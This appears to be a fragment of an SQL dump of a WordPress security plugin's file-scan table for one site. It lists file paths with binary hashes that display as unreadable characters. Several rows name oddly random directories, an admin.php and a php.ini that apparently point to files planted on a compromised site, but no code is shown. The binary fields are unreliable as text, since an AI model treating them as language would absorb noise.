('pS`]T]D','wp-includes/css/dashicons.css','/home/trevorkl/trevorklee.com/wp-includes/css/dashicons.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6swvH7gM','#.f\ZcOyl9tg4','',0,'?'),
('̆lҘ\\4,C-m','wp-includes/css/dist/block-library/editor.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ܙptj^','%%3xeL&M@.%=xr','',0,'?'),
('/EN','wp-includes/blocks/post-featured-image/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-featured-image/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('$$To:@.','wp-includes/blocks/term-template/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-template/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zL','pg\'FMXcLMmL-b[y','',0,'?'),
('|dS%IJ','wp-includes/js/dist/script-modules/block-library/image/view.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/image/view.min.asset.php',0,'كO&YB{_=','كO&YB{_=','~M|dEp:\"bY,N-%','',0,'?'),
('r69HXVr/','wp-includes/js/tinymce/plugins/paste/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/paste/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('F\n[=66\n','wp-content/plugins/akismet/views/logo.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/logo.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','IW:ג|6ӝ','},x0#N8KSŐlT`>~^b','',0,'?'),
('X$aB^','wp-admin/js/user-suggest.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/user-suggest.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6|3sJ:+IV','ǌ0BȠ|qO	F>g#','',0,'?'),
('vf*&ξ','wp-includes/Requests/src/Exception/Http/Status409.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status409.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rZD6$[$','G973Uɬ}O@,','',0,'?'),
('%fGPѣ','wp-content/themes/twentytwenty/singular.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/singular.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&Z1r\r1qr','fJڷj	T	G[AK}N<k =','',0,'?'),
('2_R[Y','wp-includes/blocks/code/theme.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/code/theme.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q\ZQ響',' $\r$gI`@+9\rmf','',0,'?'),
('@\r<=','wp-content/plugins/akismet/views/compatible-plugins.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/compatible-plugins.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','d[:}[$s','L׉1*{lxHmL\rqͮ','',0,'?'),
('BImS967X','wp-content/plugins/wordfence/crypto/vendor/composer/ClassLoader.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/composer/ClassLoader.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+fq(4Ȯ','k(\r(Njj\'̣6./\'','',0,'?'),
('FPy/9','wp-includes/block-patterns/navigation-overlay.php','/home/trevorkl/trevorklee.com/wp-includes/block-patterns/navigation-overlay.php',0,'Ή@\Z','Ή@\Z','uէ>^5N;$c\0[','',0,'?'),
('Gh˲;\'ݷ/','wp-content/themes/twentytwentyone/assets/sass/05-blocks/group/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/group/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ZLH\'5','s#[-&}en_֛ĳ,\\%','',0,'?'),
('gֿm㋣I','wp-includes/js/dist/data.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/data.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\nv','kKG,`!(j_&,@ꐨ5','',0,'?'),
('j\nB\'\'Q2k','wp-includes/html-api/knojvbd/lyuifac/csdhol1/admin.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/csdhol1/admin.php',0,'@J1RD:Oh','@J1RD:Oh','+)ʩmڷߛV)gTx','',0,'?'),
('psZZ#N7e','wp-includes/css/dist/block-editor/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-editor/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m{p:5Ge','F0<2lfw[Җ9\'T?(ai','',0,'?'),
('ՅߐS+','wp-content/themes/twentytwentytwo/assets/images/bird-on-green.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/bird-on-green.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B#ɍF{i˝k','!1&՝fӚfs\'~?','',0,'?'),
('Ո`߉!','wp-content/.rs_g10/index.html','/home/trevorkl/trevorklee.com/wp-content/.rs_g10/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('ՕL+7>$ɡ4]','wp-includes/blocks/post-comments-form/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-form/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','쮛9\n.ha=8','b?C=P\nEHgpE','',0,'?'),
('շK;-/U7f','wp-includes/class-wp-block-parser-frame.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-parser-frame.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1ۯY','T_?>* ?x4Erg:7ʯN','',0,'?'),
('Ȩr%Mè','wp-includes/blocks/file/view.asset.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/file/view.asset.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!Cxf]\\_0Oi','o\'|F7]+R+x4=yYvz0R7','',0,'?'),
('BI>\nKBe ','wp-includes/js/wp-tooltip.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-tooltip.js',0,'#\0IXp/','#\0IXp/',',ŗbovǿ{~GZq5','',0,'?'),
('v)+/~Z%iV','wp-admin/images/dashboard-background.svg','/home/trevorkl/trevorklee.com/wp-admin/images/dashboard-background.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[H\rkgyjKOM','c.K.h|M=ʀ0RϭD','',0,'?'),
('uORO̪ks93','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/NodeReader.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/NodeReader.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0_MW{\r','<#{cm|^I}6yiߙՄ U\0','',0,'?'),
('~p	Z','wp-includes/js/dist/script-modules/latex-to-mathml/loader.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/latex-to-mathml/loader.js',0,'@8wƔr','@8wƔr','[7{JRㆩc`NTK̬\0Z','',0,'?'),
('K2;<Dkub','wp-content/plugins/wordfence/lib/wfStyle.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfStyle.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')JG','Ɓ_7JpFWSsilg Cd','',0,'?'),
('- ','wp-includes/Requests/src/Exception/Http/Status403.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status403.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#YOdsCHMG7','\ZYEKqev@9n3Jy&','',0,'?'),
('ͤ6\0/k','wp-includes/js/imgareaselect/jquery.imgareaselect.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/imgareaselect/jquery.imgareaselect.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ӳ/VaW6\r','tcAt]{ N@\'y)BCL','',0,'?'),
('J?,Q6','wp-includes/blocks/read-more/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/read-more/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']fp/','N\n:\'9@cb5\'A=\'','',0,'?'),
('	LӅ՟9U\"O','wp-includes/js/dist/script-modules/lazy-editor/index.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/lazy-editor/index.min.js',0,'&-#o','&-#o','$_]V}X1_&	 ','',0,'?'),
('Q\"0]קEL@','wp-includes/Requests/src/Utility/FilteredIterator.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Utility/FilteredIterator.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','c׵L{$G\\i','GdOu$A$6PCnts','',0,'?'),
('<8;p xTG','wp-includes/css/dist/edit-widgets/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-widgets/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ev7x','<MIðpJT=\Z\nևr[|)','',0,'?'),
('F8mu@_XT','wp-content/themes/twentytwentythree/parts/footer.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/parts/footer.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W	o9i[r',',	׼b$O`I','',0,'?'),
('Xډ|8}B','wp-includes/js/tinymce/plugins/link/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/link/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V\\\n]Ks\'','\Z>ISеv,qU^','',0,'?'),
('Z	r!ޏf	','wp-includes/images/icon-pointer-flag.png','/home/trevorkl/trevorklee.com/wp-includes/images/icon-pointer-flag.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',E^j`\'','oq9a{)h}=#Tק','',0,'?'),
('j#ӲX%I','wp-includes/block-supports/elements.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/elements.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Pk1E3׬4\\','x#g_DI&Ҁ?=߿%S','',0,'?'),
('mዞjWBv|','wp-includes/blocks/template-part/theme.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/template-part/theme.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[\Zu7 ','%F.R8c@BLHg#YS	','',0,'?'),
('oҨ*Ko7{ <','wp-includes/ID3/module.audio-video.matroska.php','/home/trevorkl/trevorklee.com/wp-includes/ID3/module.audio-video.matroska.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','FopHJ	!','whd=n=yLY<,oY-KZlm','',0,'?'),
('q*ϖ+Ql!!r','wp-includes/sitemaps/sqh1xut/mjntoed/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/sqh1xut/mjntoed/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('rYSxwDY˚J[','wp-includes/images/media/interactive.png','/home/trevorkl/trevorklee.com/wp-includes/images/media/interactive.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R׬˂ôŉhH','{ [K\0!긽/\\lw.','',0,'?'),
('֋8[0ʊ','wp-content/plugins/wordfence/views/waf/debug.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/waf/debug.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ANz	ܿ','ŗ5bDG!{t*\"y','',0,'?'),
('֌qóX[','wp-includes/class-wp-feed-cache.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-feed-cache.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|J#.͆~j.`','h^SFwb\\v):>\n3H','',0,'?'),
('֗|i w>\Z`','wp-includes/blocks/comments/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('֛.l&D$Ϸ?','wp-includes/l10n/class-wp-translations.php','/home/trevorkl/trevorklee.com/wp-includes/l10n/class-wp-translations.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','DH  f\rl','ώ	8tY6!h*o\\9`/~m','',0,'?'),
('ֶ9؞fpo3t','wp-includes/class-wp-admin-bar.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-admin-bar.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[uEs2M','c{ (_\01I75eqƪ:','',0,'?'),
('J![W6ݧ','wp-content/plugins/wordfence/lib/IPTraf.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/IPTraf.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dJ785|','\'y| x(p&NߒNk','',0,'?'),
('G7B̆6XϺ','wp-content/themes/twentytwentyfive/patterns/template-home-news-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-home-news-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1y-dGI','LV,f˨qkƕIXox)','',0,'?'),
('BWk\rZ{','wp-includes/sodium_compat/lib/ristretto255.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/lib/ristretto255.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ܶ]]','FojS1<$+qPwXQ','',0,'?'),
('d?uc0|:&}','wp-includes/SimplePie/library/SimplePie/gzdecode.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/gzdecode.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','LXjTTO>\0','/iB{/\n:ShNG','',0,'?'),
('߰c|brj','wp-includes/css/dist/edit-site/posts.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-site/posts.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f[1)KG','wqwmvGP3\rǣ','',0,'?'),
('%ucp֖]','wp-includes/blocks/calendar/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/calendar/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E!\nk݄uscь','}^i\rة-= J#\n','',0,'?'),
('Gȩ6\0Y','wp-admin/includes/class-wp-posts-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-posts-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','̸hw%#W','2SӇal0i( :ףz,EO@zl*','',0,'?'),
('I	Ja~RZ','wp-admin/includes/class-wp-application-passwords-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-application-passwords-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9,٣ڸz','	z،syhT\'\Z) ','',0,'?'),
('M\0c_d','wp-admin/includes/class-file-upload-upgrader.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-file-upload-upgrader.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m(MB?*ͬ','EG$v5|9Tb)>R_Z','',0,'?'),
('P!}SҰ','wp-content/themes/twentytwentyone/assets/sass/05-blocks/list/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/list/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',W	),^m','G+xڍaȴѾ䄮C\0B,Lw','',0,'?'),
('fk[x \\/Y','wp-includes/js/dist/redux-routine.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/redux-routine.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','DɉN$B','@ʭG_\r띟˨	i\nǋ','',0,'?'),
('n\\w;\\]Ǜ#','wp-content/themes/twentynineteen/archive.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/archive.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>:t','yg۱JgzVx=H','',0,'?'),
('wh]á&wM','wp-includes/class-wp-network-query.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-network-query.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5\"8*AA6֦,','9XzuH=bB@Ƃ͑','',0,'?'),
('מj N@d','wp-includes/Requests/src/Exception/ArgumentCount.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/ArgumentCount.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','䏽$JzfDU','Vh6#EI =\r6U!\Z(','',0,'?'),
('מy7mE5O_','wp-admin/js/media.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/media.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']vro$ô','5iJq\\B⩚e~\\w+C','',0,'?'),
('j0wE}®R','wp-admin/css/wp-admin.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/wp-admin.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','eUpʓHWtP!H','^E-R\'#?lemL0kU@','',0,'?'),
('Pـ\\/ov','wp-includes/Requests/src/Exception/Http/Status406.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status406.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4)-Հ\0G','$+}dm<|viwr1G0','',0,'?'),
('^u}G','wp-content/plugins/wordfence/lib/email_unlockRequest.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/email_unlockRequest.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','΁~͟ak','u\Zg$}obĄ+\r\n8','',0,'?'),
('<Q_4t','wp-content/themes/twentytwentyone/assets/sass/05-blocks/social-icons/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/social-icons/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{G(땤h','zХY\'RHyRiV~\nȿy','',0,'?'),
('\ZvI:wm\'~K-','wp-includes/ID3/module.audio-video.riff.php','/home/trevorkl/trevorklee.com/wp-includes/ID3/module.audio-video.riff.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V#','fsBa	n3,#).ċI,5d&>','',0,'?'),
('&Zh$Éo','wp-includes/class-json.php','/home/trevorkl/trevorklee.com/wp-includes/class-json.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ԒMokA','Dkz\\^,ɑ#Y$HniR','',0,'?'),
(')30h~C\n','wp-includes/theme-compat/oq1ieuz/xjpufdc/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('8/B$8`m','wp-includes/js/imgareaselect/jquery.imgareaselect.js','/home/trevorkl/trevorklee.com/wp-includes/js/imgareaselect/jquery.imgareaselect.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','XN?[ƁZL\"','YE64g/<\"zq$','',0,'?'),
('Ah)I\Z]GrE','wp-admin/includes/import.php','/home/trevorkl/trevorklee.com/wp-admin/includes/import.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%G	or>Rvڔ','՝t\nnx/\Zdſ:\nIH|','',0,'?'),
('J=R\'t^}\n','wp-content/plugins/wordfence/images/2fa2.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/2fa2.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0H','npʅG06KqJ]J','',0,'?'),
('M&3\r3CMaQ{','wp-admin/images/yes.png','/home/trevorkl/trevorklee.com/wp-admin/images/yes.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+7܉\rqZQk','=QG9%K,\r\ZFy','',0,'?'),
('v\r&X','wp-includes/js/jquery/ui/selectable.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/selectable.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Kpxс[B&Կ}','sV5ibNiP&F0','',0,'?'),
('xβЦA	<','wp-content/plugins/wordfence/lib/wfCrypt.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfCrypt.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CR`9|e','U͊sds9;COȤ@','',0,'?'),
('ؓ-','wp-content/themes/twentytwentytwo/assets/images/flight-path-on-gray-b.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/flight-path-on-gray-b.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9e=WŚ','ܰatjK/2\nkhp:Z','',0,'?'),
('آF]ɘUZJ','wp-content/themes/twentytwentyfive/assets/images/location.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/location.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ݢ?;Jk','BŬu&bk;aSeͱԁd7\'0h#J','',0,'?'),
('د(Z&F<MJ^\0','wp-includes/js/tinymce/plugins/compat3x/css/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/compat3x/css/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ر-_}Zh\n\Z','wp-admin/includes/class-walker-nav-menu-edit.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-walker-nav-menu-edit.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~cqp9b0q_2','FOѣQF+1','',0,'?'),
('rfLS','wp-content/themes/twentytwentytwo/inc/patterns/header-stacked.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-stacked.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','׾:\\U7gP',':oPn]pf66Y\"\"&nb','',0,'?'),
(':Ts?\\jX','wp-content/uploads/gaqpdcf/avwisqn/index.html','/home/trevorkl/trevorklee.com/wp-content/uploads/gaqpdcf/avwisqn/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('ҡK%^','wp-includes/js/dist/dom-ready.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/dom-ready.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Eʑ	ޡ4\\Q','i!6ѓ]sR96TM<\nln','',0,'?'),
('-h\n\r`ýەC/s','wp-includes/class-wp-query.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-query.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','LhWC','DKx)G,-,$`*','',0,'?'),
('k|Q1]rR','wp-includes/blocks/term-count.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-count.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','y4z*%','tÆwBg/)l5>C','',0,'?'),
('r-D.\\','wp-content/themes/twentytwenty/print.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/print.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','c%A:`','h\\|UW5hg','',0,'?'),
('%N^ǽv7s@\n5','wp-content/themes/twentytwentyone/assets/css/ie.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/ie.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ANZ^K','m1ǿ\n?؀MI<cԙ{,','',0,'?'),
(',(i7:^^#','wp-includes/js/tinymce/plugins/paste/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/paste/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dXz҆֫','f\0W{?qUlP֫c8','',0,'?'),
('7U/=H','wp-content/themes/twentytwentyfive/patterns/template-page-photo-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-page-photo-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/G\\g','\"N&QF\\ܺA\0sb*XYC','',0,'?'),
(':5N6G?*4e{','wp-includes/js/tinymce/skins/lightgray/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('J^\Z7uGk+','wp-content/plugins/wordfence/lib/wfDB.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfDB.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','צxk#-Of!','P·JIK>ISBf`yYrA','',0,'?'),
('PgbTD.\r','wp-includes/blocks/social-links/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/social-links/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('RM<60%;','wp-admin/network/contribute.php','/home/trevorkl/trevorklee.com/wp-admin/network/contribute.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','cyJߛB\0','CKdSISߪի,<,F','',0,'?'),
('d%3Z4_+','wp-includes/css/dist/edit-post/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%|93`*N','!\\NHj\nsʷn但hx','',0,'?'),
('k/y&G','wp-includes/images/rss-2x.png','/home/trevorkl/trevorklee.com/wp-includes/images/rss-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ya[Qrj','yS0c`\n7as#nY','',0,'?'),
('ق)4g0h','wp-content/themes/twentynineteen/js/skip-link-focus-fix.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/js/skip-link-focus-fix.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=oG; k\Z\"','ՙda1,69%ef;V5+','',0,'?'),
('وTĖhx~Dt>l','wp-includes/js/dist/compose.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/compose.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MKX|','fި\'bnD(1$|[','',0,'?'),
('ٍ	[0J^','wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/DMSans-Italic.ttf','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/DMSans-Italic.ttf',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O/,nޒ}G5+*','Х6/]\Z\\>/Z8/Ԟl:','',0,'?'),
('٘\"Pܞ,','wp-content/plugins/wordfence/images/icons/ajax24.gif','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/ajax24.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K:m𙗣P','j*edoX~7&N9|L','',0,'?'),
('ٱMPrh~','wp-includes/blocks/post-content/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-content/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?8p%H','H5:ټEv&6ic','',0,'?'),
('پ[vJ_.G','wp-content/themes/twentytwentyone/assets/js/palette-colorpicker.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/palette-colorpicker.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','uKTS\Z55','~}۽@֖\"Jf4*Ww븺','',0,'?'),
('JN{PKe4T','wp-includes/js/dist/script-modules/block-library/navigation/view.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/navigation/view.min.asset.php',0,'9`IRlxS<','9`IRlxS<','}(5mw09o0xK6˕l>','',0,'?'),
('!}=`*gZ=','wp-admin/network/themes.php','/home/trevorkl/trevorklee.com/wp-admin/network/themes.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ԻK+tAYrb\0=','a{]P}8ҷh\"Væn	Y~>td','',0,'?'),
('w eX','wp-includes/html-api/xegynso/gqy1pns/xpjdifr/php.ini','/home/trevorkl/trevorklee.com/wp-includes/html-api/xegynso/gqy1pns/xpjdifr/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('VBǡ\ZB\"\0','wp-includes/js/codemirror/esprima.js','/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/esprima.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','d_ Sgٛ','];%JslxFqBH\ZU8','',0,'?'),
('>~!gq','wp-includes/js/tinymce/skins/lightgray/skin.min.css','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/skin.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\B&pw','7>xV&v|­U& ݷ\"ǥz9jF%ѽKV','',0,'?'),
('w=ŢO&F','wp-admin/css/colors/midnight/colors.scss','/home/trevorkl/trevorklee.com/wp-admin/css/colors/midnight/colors.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','bVn2W\\\n\\','R#/\0`|3yK;+O2','',0,'?'),
